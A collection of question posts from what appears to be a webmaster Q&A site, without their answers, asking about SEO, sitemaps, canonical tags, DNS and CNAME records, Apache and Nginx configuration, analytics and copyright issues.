A small, simple site I am working on displays a single page with the day's best offers on it. The user is able to move back and forth between previous days. Which of the following URL structures works best? **Structure 1**   * `/index.html` -- today's best offers   * `/2013-06-29.html` -- yesterday's best offers, etc. **Structure 2**   * `/index.html` -- 302 redirects to `/2013-06-30.html` (or whatever today is)   * `/2013-06-30.html` -- today's best offers   * `/2013-06-29.html` -- yesterday's best offers, etc. I quite like structure 2 from the user's point of view (they can share content easily), but I am a bit concerned about updating the redirect from `/index.html` every single day -- would this perhaps have unintended SEO consequences?


How to display copyright notice on web page (Only parts of it are owned by me)

I am working on a web application, and I am not sure how to display the copyright notice. The project itself is forked from another project and uses code from other JavaScript libraries not created by myself. Do I need to include this information in the notice? Or do I just simply do this: "Copyright (C) 2013 Steven Glick - Licensed under GPLv3" Or do I not need to worry about a copyright notice at all?


Multisites Network SEO::Can self-referencing canonical tag(rel="canonical") inside article improve google rating?

Can self-referencing canonical tag(rel="canonical") inside article improve google rating? The Case:   1. Company have 40 sites with original content and 1 main site with some of 40 sites articles.   2. Main site have rel="canonical" in each article  **Should article in original site have also rel="canonical" for self- referencing?** * * * example: inside main network site(reference to other site):`<link href="http://site7.com/article25" rel="canonical" />` inside original network site(self-reference):`<link href="http://site7.com/article25" rel="canonical"/>` Thanks in advance


Is it possible to dynamically display a page according to long tail Google search?

Let assume that someone types a long-tail keyword, how would you dynamically generate a page based on those keywords? Example: `summer light pink florescent lights` would generate a page with those keywords. Is there a way to know what keyword someone has searched and which generated content was displayed? I can do this on Adwords and I was wondering if this is possible with Google Search traffic?


How likely are IE9 jumplists to be useful?

Having installed the Internet Explorer 9 release, I've experimented with the jumplists feature available in Windows 7 - drag a site tab down to the taskbar to create a jumplist. Works for Facebook and Twitter, anyway. I have my suspicions about the utility of this feature - it's a neat and possibly useful feature, yet is limited to the combination of IE9 and Windows 7, plus sites implementing the appropriate code. Given the relatively small audience at this point, is there any value in adding code to support this feature? And would it likely be more useful for a web application (e.g. Twitter, Facebook) than a typical website?


SEO/Google: How should I handle multiple countries and domains?

I'm the webmaster of an online shop based in Austria (Europe). Therefore we registered "example.at". We also own different other domain names like "example-shop.com" and "example.info". Currently all those domains are **redirected (301)** to the **.at** one. Still available is: "example.net" and "example.org" (and .ws/.cc), unfortunately not available: .de/.eu The .com is currently owned by one of our partners, the contract ends in 2012 but until then we have no chance to get this one. Recently I read more about geo-targeting and I noticed ONE big deal. The tld ".at" is hardly recognised in Germany (google.de) whereas it is excellently listed in Austria (google.at). _As a result of the .at I **cannot** set the target location manually (or to unlisted)_. More info: https://www.google.com/support/webmasters/bin/answer.py?answer=62399&hl=en This is a big problem. I looked at Google Analytics and - although Germany is 10x as big as Austria - there are more visits from Austria. **So, how should I config the domain in order to get the best results in both, Germany and Austria?** I thought of some solutions:   1. First I could stop redirecting the .info. Then there would be a duplicate of the .at one. Moreover, in Webmaster Tools, I could set the target location of the .info to Germany. As the .at still targets Austria, both would be targeted - however _I don't now if Google punishes one of them because of the duplicate content_?   2. Same as 1. but with .net or .org (I think .info is not a "nice" domain and moreover I think search engines prefer .com, .net or .org to .info).   3. Same as 1. (or 2.) but with a _rel="canonical"_ on the new one (pointing to the .at). Con: I don't think this will improve the situation, because it still tells Google that the .at one is more important, like: "if .info points to .at, the target may still be Austria".   4. rel="canonical" on the .at pointing to the new (.info or .net or .org). However I fear that this will have a negative impact on the listing on Google.at because: "Hey, the well-known .at is not important anymore, so let's focus on the .info which is not well-known." -> Therefore: bad position in search results.   5. Redirect .at to the new (.info or .net or .org) with a 301-Redirect. Con: Might be worse than 4, we might lose Page-Rank (or "the value of the page", because Google says that page rank is not important anymore). Moreover this might be even more confusing for the customers. In 3. or 4. customers don't get redirected, they do not see the canonical-meta-tag. So, please tell me what the best option would be! Please note: It's exactly the same content AND language. In Austria we speak German.


Subdomain In Addon Domain Is Not Working

I added a new addon domain to my cPanel hosting. With the new added addon domain, I try to make some subdomain of it. But, the subdomain is not working like subfolder does. This is my situation: ![enter image description here](http://i.stack.imgur.com/QgM16.png)   1. `mymaindomain.com` (the cPanel primary domain - OK)   2. `myaddondomain.com` (the new domain - OK)   3. `en.myaddondomain.com` (subdomain of the new domain - not working)   4. `myaddondomain.com/en` (subfolder of the new domain - OK) What should I do to solve this issue?


Expiry date in response header contradicts the cache-control setting

I have set up a very long expiry on some files in my .htaccess (this is OK as I change the actual filename whenever its content changes).               <FilesMatch "min_\d+-\d+-\d+-\d+-\d+-\d+\.css$|min_\d+-\d+-\d+-\d+-\d+-\d+\.js$">     Header set Cache-Control "max-age=31536000, public"     </FilesMatch>      Looking at the output of Firebug, the cache-control is getting passed through, but I notice that the 'Expires' in the response is set to 25th May (14 days in the future rather than 1 year as it aught to be). Does anyone have any ideas what is going on? Request Headers               Accept          text/css,*/*;q=0.1     Accept-Encoding gzip, deflate     Accept-Language en-US,en;q=0.5     Connection      keep-alive     Host            redacted.co.uk     Referer         http://redacted.co.uk/hh/main_minimised/     User-Agent      Mozilla/5.0 (Windows NT 6.1; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0      Response Headers               Accept-Ranges       none     Cache-Control       max-age=31536000, public     Connection          Keep-Alive     Content-Encoding    gzip     Content-Length      5576     Content-Type        text/css     Date                Sat, 11 May 2013 22:46:47 GMT     Expires             Sat, 25 May 2013 22:46:47 GMT     Keep-Alive          timeout=5, max=99     Last-Modified       Sat, 11 May 2013 17:12:31 GMT     Server              Apache     Vary                Accept-Encoding


Easy to use tool to send screenshots from a website?

Is there tool or widget that I can embed in my site that would allow visitors sending me a screenshot of the current page? It would be helpful for reporting errors they encounter on the site.


How to block my images from being displayed by other websites?

> **Possible Duplicate:**   >  How is anti-hotlinking done? I have a lot of images on my site and I don`t want to let other people to use my images on their sites. Is there any way to block the use of my images from other sites, maybe with .htaccess?


more capability from CSS

so i've just finished a book to learn CSS. (known HTML since high school but didn't have the initiative to pick up CSS 'til now). anyways, ever since i started reading about pseudo-classes in CSS i always thought it was a:   * vast assortment of states for almost any tags. this would allow different formatting/layouting for any STATE of ANY ELEMENT. this would then be the mechanism to have pop-up/drop-down/tabbed menus/interactive buttons, controlling the INTERACTIVE look and feel of a page. this made sense, as CSS has always been aimed for formatting/layouting. then i got to the end of the book and didn't find it. the most was the all- too-familiar using pseudo-classes, "hover", "visited", etc on to alter the formatting of the anchor element itself. http://www.w3schools.com/css/css_pseudo_classes.asp only lists a dozen pseudo- classes. so basically the rest of the elements needs to be handled by using onclick, onmouseover, etc, which are all javascript. then i was dreaded with the notion that those interactive look and feel, even from popular and widely conforming websites, like youtube, facebook, google, etc, was achieved using javascript. i haven't gone through each of the said sites to see exactly how the code achieved those effects (it's gonna take me a while to decipher as i'm a novice in javascript; didn't even look at the .js files). but... it is JS, isn't it?? anyways, isn't it better if CSS does atleast _most_ of the INTERACTIVE look and feel as i delineated in the point block above? implementing a drop-down navigation menu would then be like:   * if :hover is true for a button, then change the block formatting (as the button is actually a sinlge lined block). the children blocks would have their "display" style property turned on (previously hidden). they are then set on having a solid background color, padding, borders, etc.. now dispalyed, the user may interact with them like ordinary links. the rest, mostly that requires information processing, will be through javascript. i guess my biggest objection to implementing the interactive look and feel using JS is that you can't always fall reliably back on it.   1. older and rarer browsers may full support of CSS but not JS.   2. JS maybe disabled   3. JS is usually slower (unless script is turned into binary and probably JIT-ed). this is more evident in mobile devices.


Robots and Sitemaps

I have some problems regarding indexing. Google indexed so much in the list. Now I wanted to remove everything from my site. If I have disallow all in _robots.txt_ and send my _sitemap.xml_. Would Google still be indexing my links? I intend to index my links from the _sitemap.xml_ Should my sitemap cover the whole period of birth of my site? For example, I have this site which is 1 year old. Should I include the post from day 1 up today on the sitemap?


Google Analytics include querystring

I've taken an advert out on a site with instruction to point it to: http://www.example.com/?source=gmb In Analytics, how do I go about analysing it's data? I can't find anywhere to see people who came via that querystri


How do sites like DeviantArt and Youtube protect against copyright infringement?

I'm thinking of creating a site where users are allowed to upload content that can then be purchased by other users. My question is how do I protect against someone uploading something that isn't theirs? Do I have to do that with a team of people or are there methods that can be implemented to protect against this. How does Youtube know that someone has uploaded something that violates a copyright?


Is there a wordpress like platform for publishing code documentation? I have an API I'm publishing internally and I want to add documentation like jQuery or Kendo do, and I'm wondering if they just have homegrown solutions for displaying their documentation or if there are solutions (free and paid) out there.


How linking too many sites from my site will affect my page rank in Google

I run a resource and information site which provide links to sites containing specific information. E.g. it provide links to almost all paper manufacturers on the planet. These are not paid link. I don't care if any page rank is passed or not to these web sites. I want to know if it affect my site page rank and should I use nofollow attribute with all links. My site is 15 years old and has PR5. Thanks


SMTP server to deliver mail to Rails app, how?

all, this is my first question and I hope I chose the right place to post it. Here's what I need help with: I've been looking for this all day and I'm having a hard time finding a SMTP mail server that would fit the following criteria:   * lightweight, does one thing and does it good   * is able to route and deliver local mail to a Rails application The second point could be accomplished in any number of ways. I'm running a VPS, so I have full freedom in how to implement this. It could, for example, put messages straight in the db, pipe them to a helper program that would then process them accordingly or also save messages in a mbox file and run a script after every received message. I'm building a small site so the traffic is not going to be a problem. If there are alternative ways to deliver messages to a Rails app, I'd gladly hear about them. Thank you. * * * **EDIT:** After long searching, I think I've found what I was looking for. Exim is a mail server that can deliver local mail to pipes. Also, Rails 3 and ActionMailer can make it really easy to process the incoming mail. More info here:   * http://www.exim.org/exim-html-current/doc/html/spec_html/ch29.html   * http://guides.rubyonrails.org/action_mailer_basics.html#receiving-emails


How do I find information on who links to my sites?

I'm trying to figure out if there's a free way to get information on back links to my site. I've had webmaster tools and Google Analytics set up for years. But I can't find access to data about site back links in either tool set. Webmaster tools, under 'traffic'->'links to your site' gives me the same message for all of my sites: "No data available". I haven't been able to find anything in GA that gives any information on back links. I've heard of using "links:" as an operator in Google search, but for each of my sites, this returns either zero or very few results in cases when I know I have many back links. Most of the links simple aren't shown. My thinking is that Google maintains a graph of who links to my site, so I figured that they might let me see it. But I can't figure out how. I've found this tool on a spammy website: http://www.backlinkwatch.com. It offers more data than Google on my back links, and offers more results in exchange for a paid subscription. The data it offers for free looks good, but the results are limited and the site has popups and obnoxious ads. So, in short: how do I get data on who links to me? Is there a free way?


1 touch zoom issue for mobile site on opera

I'm optimising my site for the web. For testing I've downloaded the Opera mini app for my iPhone and the Opera mobile desktop browser for my PC. Often when you click or touch a link, rather than opening the link the browser zooms in first (you can then click the link). This behaviour is quite annoying and doesn't seem to happen on other sites. Can I disable this functionality or alter my site so it stops happening?


User Upload of Images & Copyright Issues

I have a hand-coded site. I just started working on a strategy that will allow users to integrate their images and drawings into the site. The problem is that I know users will start uploading images that they stole from around the internet. This is not acceptable and I don't want trouble with other webmasters. So, I need a high level strategy to deal with this problem. Plan A:   Let them upload the image URLs. (The images won't be displayed initially.) then let a trusted moderator make a judgement. If it is open source from Wikimedia for example, chances are it can be used. If however the image is from another site, it could be an opportunity to contact the webmaster, offer to swap a link for a one-time use of their image (compliment them on site and do a little promotion/networking). Plan B:   Tie the custom coded site into some image gallery if they have some 'legalese' policy already integrated into it. Plan C:   Is there a third party image hosting service that permits some sort of hot linking? What are the SEO implications of this approach? Plan D:   ? In Summary:   How can I let users upload images without getting myself in trouble? (Critique plan A, Finish Plan B or C, or create a new Plan D.)


Are there negative effects to introducing a site to Google too early?

I've got a site that is going live in a couple of weeks. All of the content is not complete, but is being added to the database each hour. Is there a negative effect if Google or other search engines find the site before it's "ready enough"? Will they just assume it's a barren shell and return in six months? How complete should a site be before you invite the search engines in?


How can I find the source of this broken link to our site?

In our error logs we have quite a few (~ 10s / day) internal recursion errors caused by googlebot. Here is a typical example:               [Sun Jul 03 10:58:22 2011] [error] [client goo.gle.ipa.ddr] Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.      Looking in the access log, the offending GET is always looking for a broken URL with this format:               http://ourdomain.com/wp-content/uploads/2007/11/image-name.jpg%22%20width=%2239%22%20height=%2250%22%20alt=%22image%22/%3E%3C/a%3E%3Ca%20href=%22/m/imgres?q=some+query+here      Undoing the URL encoding to make it more readable:               http://ourdomain.com/wp-content/uploads/2007/11/image-name.jpg" width="39" height="50" alt="image"/></a>< href="/m/imgres?q=some+query+here      This looks like a broken fragment of some HTML that was displaying the image as part of a hyperlink. Looks like it might have been part of some sort of search result. We don't have any links of this format anywhere in our site, so I can only assume this is a reference from somewhere else that is either misinterpreted by googlebot, or is just broken in the page markup. There is no entry for the referrer in the Apache access_log. I have tried to find the source in Google webmaster tools, but although the unreachable is noted, there is no mention of the source. I've also tried to use Google to find the reference without success. I do notice that the "imgres" in the href fragment is used in Google image search, but the rest of the fragment isn't consistent with this. My questions:   * Should I bother with this or just let these recursion errors happen (10s of them / day)?   * If I need to bother, any suggestions on how to find their source? Thanks.


title, content copied and title, name used! trademark issue?

I have a video website, server and domain bought 3 months 1 week ago, website actually started 1 month 1 week ago. Domain name plain and simple, easy to remember, bought with a yearly fee, nothing similar exists. Domain name appears in all pages' title. Around a week ago, started coming up with odd websites in google searches: my website has 0 pagerank (not enough traffic, no advertising yet and no backlinks, a maximum of 10,000 pageloads a day, this week's average 3000 pageviews a day - because of the time of year? ) other websites with higher pagerank (heck, it's not that hard to beat a 0 pagerank-1 month old website) have started using my name in their content titles! like name, sometimes including .com! I wish not to reveal my website address for ethical purposes, so for now i shall call it foofoo.com So my pages are: foofoo.com - best free video sharing site: free full hd episodes, free flash games etc... Lame Video title man runs on the street with no shoes video - foofoo.com Count Sheeps till you go to sleep flash game - foofoo.com google searches for foofoo.com point directly to my website BUT google searches for foofoo point to some pages like: notfoo.com/foofoo-com-stolen- title-and-vid-for-views with title like foofoo.com vid title here bla bla searching google for "foofoo" 2 weeks ago would place me 10th, and going up. searching for it now places me somewhere on 30th-35th and going down! all places before me are taken by titles containing my name, domain, title, content title etc and I don't know what to do about it! All my pages have a copyright notice at the bottom of the page and i have a terms and conditions on my website. I did not register a trademark, but searched for it and no one has registered a trademark containing my domain name. I do not know what to do... can someone please advise? I am currently reading about legal stuff, trademark and such, but just started today so it will be tough. Also, I cannot afford any payed advise, such as a lawyer... that's mainly the reason for which I haven't yet payed for a registered trademark.Does anyone have an idea on what could be the cost of registering a trademark? Please help me solve this issue... Thanks in advance to all of you going to answer and help me!


Can we host subdomains to diffrent hosting provider?

I have one domain, abc.com and for some reson I want to Install one application which require tomcat service. Current hosting is for php and apache only. Is it possible to host java.abc.com to another hosting and how it can be done?


If the size of sitemap is limited: how do I tell to Google all of my URLs?

I heard that the sitemap for Google can not exceed 10 Mb and 50 kURLs. This is not enough for me. What shell I do to pass through this obstacle? Create sitemap for each category?


How to compile all design images as used in website design?

I am just coming into a new web design role and so far I can find no central repository of all images as used on the website. I have previously, at some point in the design process, inserted all design images (global buttons, layout images, background gradients etc) into a PNG file - sometimes multiple PNG files if warranted. (Please note that I am not talking about content images (such as photos that would be used in an article), just the images that are part of the design.) Before I go about the usual task of compiling all images into a PSD/PNG, just to see if there are other, more manageable ways. My question here is, how do you store all of the images that you use in a website? Do you have a central repository (PSD/PNG) file for all of your buttons, all of your gradients or is that unnecessary?


I want to learn about servers, where should I start?

I am interested in learning how to run a server to host a website and provide me with email and all the other features hosting companies offer. I have read snippets from all over about different aspects, but I would like an absolute begining as I don't really even understand how servers work. Can anyone recommend a site or book that would offer a solid foundation for understanding how a server works.


Signing User - Designer Agreement

I will convert an HTML design to Wordpress Theme for my customer. And we have to make an agreement via email . Which articles should i write to agreement ? Are there any draft for this ? Which agreements, you are using ?


Mysterious subdomains to my site indexed by Google

We have an issue with strange subdomains pointing to (pages on) our site such as:   * www2.example.com   * 2.example.com   * anothersite.com.example.com A few things are perplexing:   * who created them? why they do that?   * why Google index them and made them appear in the search results when clicking them gets a 5xx error.    * how can we get rid of them?  It seems some type of scams that hurt our site's free search and experience. Anyone had similar experience and knows the answers?


Can linking to random related posts have SEO consequences?

I am using WordPress and by default my related posts system works by gathering posts and shows them based on the tags they have. This is OK when you have few posts but with a lot of posts only the newest ones show up and the older ones never. If I change the code and show random related posts based on the same tags and category and with each refresh the related posts would be shown under the original article and each time different ones. Now the question is, would that hurt my SEO? (Doing this would cause the related articles to be from any date.) This will also be better for the visitors experience also cause a user who comes today and then again tomorrow will not see the same related posts but also posts from 2-3 months and even 3years ago by using the random related posts. This question was asked some years ago also on Matt Cutts blog, with no answer from anyone though.


Maintenance Page via Apache when Tomcat is down

I have an Apache2, sitting in front of Tomcat7 via ajp, all on Ubuntu. What I want to do is serve a simple static page with Apache when I perform maintenance. I found this nice tutorial, but I am not that firm on Apache.               ServerName localhost       DocumentRoot /var/www/maintenance            ##For maintenancepage       RewriteEngine On       RewriteCond %{DOCUMENT_ROOT}/maintenance.html -f       RewriteCond %{DOCUMENT_ROOT}/maintenance.enable -f       RewriteCond %{SCRIPT_FILENAME} !/maintenance.html       RewriteRule ^.*$ /maintenance.html [R=503,L]       ErrorDocument 503 /maintenance.html            #Directory settings omitted..            ProxyPass /maintenance.html !       ProxyPass / ajp://localhost:8009/       ProxyPassReverse / ajp://localhost:8009/      This is my virtual host configuration file in /sites-available/ * * * I expected: when creating a file `maintenance.enable` in `var/www/maintenance`, all requests are answered with the `maintenance.html` page. But sadly, nothing ever happens. Is my DocumentRoot wrong? Is my ProxyPass setting wrong?


Unwanted hyperlinks containing 'msocom1' inserted into my WordPress content

I have found several unwanted nonsensical hyperlinks inserted into unpublished content on my website (self-hosted WordPress). Four of these are to "#_msocom_1". Googling on "#_msocom_1" returns 519 results; Googling on "msocom1" returns 602 results. I've checked a sample and all seem to be similar to my situation - they are nonsensical text inserted in the content (whether or not as a hyperlink). Unfortunately I can't find any explanation of why/how they occur. Question: Have others noticed these nonsensical hyperlinks? Is there a known explanation? Does 'msocom1' actually mean something? Note: I have not mis-spelled this term. It is 'msocom1'; it is **NOT** 'mscomm1'. Addendum#1: there are/were other nonsensical hyperlinks. For example the words "content in" were turned into a hyperlink to 'http://content.in'. There are another 22 of these nonsensical hyperlinks.


Apache Reverse Proxy (Same ProxyPass path but different Destination)

I have a problem here. I am doing reverse proxy for few website in my test server. So , what i have encounter here is that when i request the website from the client , both website request from the same path , thus only the leading ProxyPass will work , not the latter. Here is my configuration .                ProxyPass /js http://example.com/js      ProxyPassReverse /js http://example.com/js           ProxyPass /js http://example.org/js      ProxyPassReverse /js http://example.org/js      My question is that how i can differentiate both of them.Because it will cause the second website unable to load the js scrips. I have try Alias like               Alias /fjs /js      so it will come like               ProxyPass /fjs http://example.org/js      But the js script for the second website is still not working


What is the generic type of this background image?

What is this type of texture referred to in web design? Blotted, blotched? And what are the best ways or tools to generate similar textures and backgrounds?


Why does this microdata not validate in the Google tool?

The name property (in the `meta` tag) is not recognised in the Google Webmasters validation tool. Why is this?
         <meta itemprop="name" content="An idea suitable for potential candidate for the fourth plinth" />
           Suitable for	potential candidate for the fourth plinth

           Price	£1000

           Notes	None


WYSIWYG editor that outputs to markdown

Is there a WYSIWYG editor that outputs markdown?


Avoid Ajax loaded content for search engine bots

A website I run has a lot of content that is being loaded using Ajax. The reason for using Ajax is that the content generation takes some time (a few seconds), because it loads data from other websites using their respective APIs. My concern is, that search engine bots will not see any useful content. The solution I've been thinking about would be to serve search engine bots differently, so that the content will be displayed directly for them. Technically, this would not be a big problem. My question is: Will search engines (read: Google) consider this behaviour as website cloaking? Are there other concerns I might not have considered?


In Google Analytics, how can I graph direct traffic vs Google referrals?

How can I graph direct traffic, versus referals from other search engines (in particular Google)? I can kind of get what I want by using the "Plot Lines" function, from the Traffic Sources > All Traffic graph, but as the graph includes a line for "all traff" and is scaled as such, it makes it difficult to visualise only the google and direct traffic items.


Is there any server or software that legitimately improves a site's SEO?

I started to learn about SEO in last four months. Before that I was just a freelance web designer. Since I am new to this industry, I contacted a SEO company to optimize our client's website which I designed. While discussing SEO with the company one of the technical staff told me that they have some sort of server which boosts the website and they can achieve good results in a short amount of time. I don't really believe what he said so I want to know whether any such system or server exists which can boost the SEO of a website. Is it just a marketing gimmick?


How to make live site updates without affecting users?

My company has an e-commerce website which I constantly keep updating the website for. The problem is whenever I push out some stuff to the live site, like user controls page, the Application Pool gets recycled and website gets recompiled, and the customers who were already on the site experienced delays and/or see errors on the site. How do I prevent such bad user experiences and/or possibly losing customers? I am using C# and IIS 7.


How to Optimize A Site For Yahoo Search?

**What are on-site on-page guidelines that can optimize a site for Yahoo search?** Its been over 6 years since I have been running a number of websites and for some reason the traffic and ranking from Yahoo has always been disproportionally low. Given that Google sends so much traffic ( _except for one site which dropped last week - the topic of another question_ ), I never found out what Yahoo likes (and other engines but lets leave this question Yahoo specific). Lets exclude things like 'great content', 'good navigation', 'user-oriented text' etc which are a given basic for any site and search engine. I am already passed this ;) What I am looking for could have to do with page structure, linking structure, layout, length of various parts, etc. Just a note, my sites are all indexed crawled by Yahoo already. Their SiteExplorer shows that they have index most pages (from 10s to 1000s for bigger-sites), just that they rank less well outside of Google.


How to have html display a link, but open a javascipt function instead?

I have an html page, and I need a link to show that the user would be going to 'example.html', when really, the link goes to 'javascipt:ajaxLoad(example.html);'. EDIT: I went over to stackexchange, and their solution worked. The html would go from this: Example to this: Example The solution, is if javascript is enabled, the 'return false;' will cancel going to the link on the page, and load the javascript. If not, then it will go to the page in the href


Are you allowed to customize the Google translate widget?

It is trivial to use CSS to customize Google's "Translate My Page" widget (https://translate.google.com/manager/website/), for example by removing the top banner that it injects into the translated pages. But are you allowed to do this? The website does not address any form of modification to the widget, so has anyone got experience in this area?


Generating search result pages as keyword friendly gateways

We have a fairly standard eCommerce marketplace site. When a user searches for "something in city A" a friendly url is created with that search term which displays a list of products for that term. These pages are then indexed by Google and subsequently crawls the product pages. It has resulted in us having many more pages indexed than we actually have products. My question is. Is this a sensible strategy? Are these considered doorway pages by google? Would we gain an advantage by using sitemap.xml with links to each product? Thanks.


How can I prevent query strings from impacting Google Analytics?

In Google Analytics I am seeing URLs that should be treated as the same page are showing in GA as unique. For example:               /?optimizely_log=false&optimizely_cache_buster=1389806928991     /?optimizely_log=false&optimizely_cache_buster=1389806937020      Should be treated as the same page for analytic purposes.


How to point DNS records to Amazon AWS Elastic Beanstalk

I just created a new environment with AWS and uploaded a .zip file into elastic beanstalk. I used to have a friend's server host my site instead of GoDaddy so I changed my custom DNS name servers from pointing to my friend's server to GoDaddy's. AWS told me that I need I need to add a CNAME record on GoDaddy and I did. The alias is `lance` and the host is `lance-env.elasticbeanstalk.com`. I know that this change can take 24-48 hours to take effect but it's been a day already and when I go to my site, a default page from GoDaddy appears. I'm very new to AWS and would just like to find a way for AWS to host my site other than using Route53.


How to set up Google ecommerce tracking for a shopping cart servicing multiple countries?

Currently trying to set up GA ecommerce tracking for a shopping cart providing different pricing and tax to multiple countries. Does anyone know how to extract the tax amount from the order total for google ecommerce for multiple countries? i.e. set GA ecomm up to service/ return data for different countries?


Defining 'HTML5 Interface'

I've seen people talk about sites upgrading from Flash to HTML5, but there's no sign of HTML5 anywhere in their source. So what constitutes as an "HTML5 interface"? Is this term becoming the next "Web 2.0"?


Is it ok to use a hodgepodge of CMSes on a particular domain

I have several different needs on my website and I am thinking of using different CMSes - in each case, the one that most closely matches the needs of each page. Is this recommended?


Tumblr custom subdomain stoped working

I have added my custom `.tk` subdomain to Tumblr. My DNS setup for this domain looks like this:               A   - mydomain.tk  -   xx.xxx.xxx.xxx ;        MX  - mydomain.tk  -   xxxxxx.pamx1.hotmail.com ;             CNAME - blog.mydomain.tk - domains.tumblr.com      It was working fine for a month or more, and then all of the sudden I get this error: > This subdomain's CNAME is not pointing to Tumblr. It is currently set to > “DOMAINS.TUMBLR.COM”. Obviously my domain is set correctly. This error doesn't make sense that the domain is not pointing to `DOMAINS.TUMBLR.COM` when it is pointing to `DOMAINS.TUMBLR.COM`. When I open my adress `blog.mydomain.tk`, it opens the Tumblr site and shows an error: "There's nothing here." So obviously the problem has to be on their side, right? I wrote to their support about this and first time they fixed it immediately, and then after a couple of hours it happened again, without me even doing anything and now even their support doesn't answer me.


Does GoDaddy support Microsoft Chart Controls

Does anyone know (or have running) if Chart Controls will work on GoDaddy's Windows Servers. They have ASP.NET 4.0 but is that enough? Thanks!


Sitemap structure for network of subdomains

I am working on a project that's a network of 2 domains (`domain.gr` & `domain.com.cy`) of subdomains similar to Hubpages [each user gets a profile under a different subdomain & there is a personal blog for that user as well] and I think there is something wrong with our sitemap submission. Sometimes it takes weeks in order a new profiles to get indexed. We make use of one Webmasters account in order to manage all network and we don't want to create different accounts for each subdomain since there are more than 1000 already. According to this post http://goo.gl/KjMCjN, I end up on a structure of 5 sitemaps with the following structure :   * 1st sitemap will be for indexing the others.   * 2nd sitemap for all users profile under the `domain.gr`   * 3nd sitemap for all users profile under the `domain.com.cy`   * 4th sitemap for all posts under the `*.domain.gr` - news sitemap http://goo.gl/8A8S9f   * 5th sitemap for all posts under the `*.domain.com.cy` - news sitemap again Now my questions:   1. Should we create news sitemaps or just list all post in 2nd & 3rd sitemap?   2. Does links ordering has anything to do? Eg: Most recent user created be first in sitemap or doesn't make any different and we just need to make sure that `lastmod` date is correct?   3. Does anyone guess how Hubpages submit their sitemap in Webmasters so maybe we could follow there way?   4. Any alternative or better way to index this kind of schema? **PS:** Our network is multi language - Greek & English are available. We make use of `hreflang` tags on the head of each page to separate country target of each version.


Where can I find out whether the price I've been quoted for a CSS template is competitive?

I want to get a template designed. A brand guidelines document already exists, and I've already created the HTML. I don't want any graphics or javascript, so basically there's little wiggle-room from a design point of view. It should just be a typographically strong template with a few flashes of colour from a predefined palette. Where (online) can I find out whether the amount I've been quoted is competitive. To my mind it should only be a couple of hours work so shouldn't cost too much.


Worldwide zip/postal search on site

I need people to be able to search from a _worldwide_ database of businesses on my site. Consumers will enter their zip/postal code, and then a list of businesses within 250 miles/km must show in search results. So far I have successfully finished for USA, because I could find the all the zips & coordinates for USA, but can't find for the rest of the world? Does anyone know where I can find this information? Thanks


Not using nofollow for UGC links

My site contains many links that were user generated so I've added a `rel=nofollow` to them. I'm considering removing that tag at least partially, as these are most of my outgoing links and I've come to understand it isn't a good SEO sign to not have outgoing followed links. Although these are external sites, I have some data on the popularity and categorization of these sites. I'm trying to decide between two options:   * Removing the nofollow link for popular sites in most categories.    * Removing the nofollow for links that are in specific categories that represent the categorization I would like to achieve for my site. For example if this is a site about Basketball only remove the nofollow for links that are from sport sites. As these are both not exactly natural approaches, can this hurt me? Which option would you recommend?


Responsive website VS mobile website

I am creating a new blog. Nowadays, especially for a blog, it's important that the websites are accessible for all devices. Now I have to make a choice on what to do. I have seen 2 options. Option 1 is to go with a normal fixed website, for example 960px wide (grid960). And for mobile users have a mobile version. This takes some more time, but then there are 2 good versions of the website. Option 2 I haven't seen a lot yet, creating a adaptive website, or also called responsive website. I am now looking into the LESS framework, where the website automatically switches to to required width. Only downside is that when the normal browser is re-sized, everything re- sizes. Another problem I found is that pinch-to-zoom on devices does not work. Now the question is, which one would you prefer for a blog. One that constantly changes layout when you move your device, or one where you have the choice to view mobile and normal. If there are any other options, please let me know.


Can the double downloads in pages with <link rel="subresource" ...> tags be avoided for user refresh requests?

When a user refreshes/reloads a web page, this results in HTTP requests with `max-age=0`. Pages utilizing the `prefetch` or `subresource` feature (e.g. tags like `<link rel="subresource" href="/code.js">` in the `head`) will then see two such fetches, at least from Chrome. Unlike regular page requests, Chrome does not appear to cache and indeed downloads the resource twice. Is there a way to prevent this waste of resources? Can I hint to browsers that the `prefetch` and `subresource` features are only meant for regular page loads, or that even on a user-initiated page refresh they should cache it for at least one second?


Why important/big sites don't include a sitemap?

I've been looking at most important sites and none of them have a sitemap.xml defined. My list includes:   * Amazon   * Ebay   * Yahoo   * Microsoft   * ... and others But none of them include a sitemap.xml file. Why is this? It's not that important? **Note:** I've been using the Google Bot user agent to check it. The only site that returned a 200 Ok was google.com


Nginx: different content to specific request method

I have the image in the URL (my server): `http://www.example.com/example.jpg` If my user put this image URL on his site: return the image (normal). If my user put this image URL on his browser: return redirect to my site, i.e. `http://www.example.com/?fimage=example.jpg` How to do it?


Can .gov (or similar official) websites be used for partisanship?

If I were asked to design and maintain a website for a governor seeking reelection highlighting how his or her administration was helping the state to get by in "Tough economic times", would I be violating some written or unwritten rule that says the .gov TLD is primarily informational and non- partisan? I've seen a lot of .gov website in the past few years that seem to push an agenda, but never before today have I seen one that so specifically tries to get a person reelected (or at the very least not recalled). Here's an excerpt: > This has been a year of historic change in [my home state]. Facing a $3.6 > Billion deficit, Governor [Chuck Norris] and state lawmakers got to work > making the hard decisions to get the state's finances back on track. Their > reforms gave local governments and school districts the tools they so badly > needed to balance their own budgets without raising taxes. > > Change is hard. As one school board member and small business owner recently > told us, "It's not easy doing what you think is right." > > The good news is, the reforms are working. I do see a lot of this within these searches but they at least give a hint to what side of the aisle you're getting into, the site I'm asking for is not nearly as obvious. I'm looking specifically for a reference as to the original intent of the .gov TLD and whether or not that's been broken down and ignored over the course of the lifespan of the Internet or if it's a relatively modern thing to just use a .gov website for purposes of reelection.


My site's Alexa rank got worse and Alexa stopped ranking some sub-domains

I have a website which has reached an Alexa rank of 250,000. It had four sub- domains and Alexa was ranking them as well. Two weeks ago, my rank became 290,000 and Alexa now shows only one sub-domain in addition to the main domain. I use the Alexa toolbar and all my friends use it. I would at least think that Alexa should rank a sub-domain which we use everyday. Why did this happen?


cron management

I have crontabs across multiple servers using different accounts. The scripts are separated such for a reason, different users for different services, etc. I did some searching for a tool to track what is running where in a central location, but didn't find anything. How are others keeping track of their crontabs? I'm writing some code now to fetch the crontabs from the servers and aggregate them in a central place, but was wondering if anyone has an elegant solution to this problem?


Why doesn't my domain resolve to the hostname CNAME/ALIAS I've specified?

